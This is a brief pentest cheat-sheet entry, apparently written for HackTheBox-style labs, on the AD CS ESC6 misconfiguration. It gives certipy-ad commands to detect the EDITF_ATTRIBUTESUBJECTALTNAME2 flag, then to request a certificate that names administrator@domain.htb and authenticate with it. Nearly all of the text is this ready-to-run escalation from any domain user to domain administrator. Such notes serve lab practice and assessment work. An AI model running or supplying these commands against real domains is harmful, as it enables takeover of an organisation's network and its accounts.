ESC6 — CA Allows SAN in Request (EDITF_ATTRIBUTESUBJECTALTNAME2)
External: Hacker Recipes — ESC6
External: Internal All The Things — Certificate ESC6
Idea: CA flag User Specified SAN → even “safe” templates (e.g. User) accept -upn in request.
Detect
certipy-ad find -u user@domain.htb -p 'PASS' -dc-ip DC_IP -stdout | grep -i "User Specified SAN"
grep -i ESC6 *_Certipy.txtExploit
Same commands as ESC1 — often -template User:
certipy-ad req -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
-ca CA_NAME -template User -upn administrator@domain.htb
certipy-ad auth -pfx administrator.pfx -domain domain.htb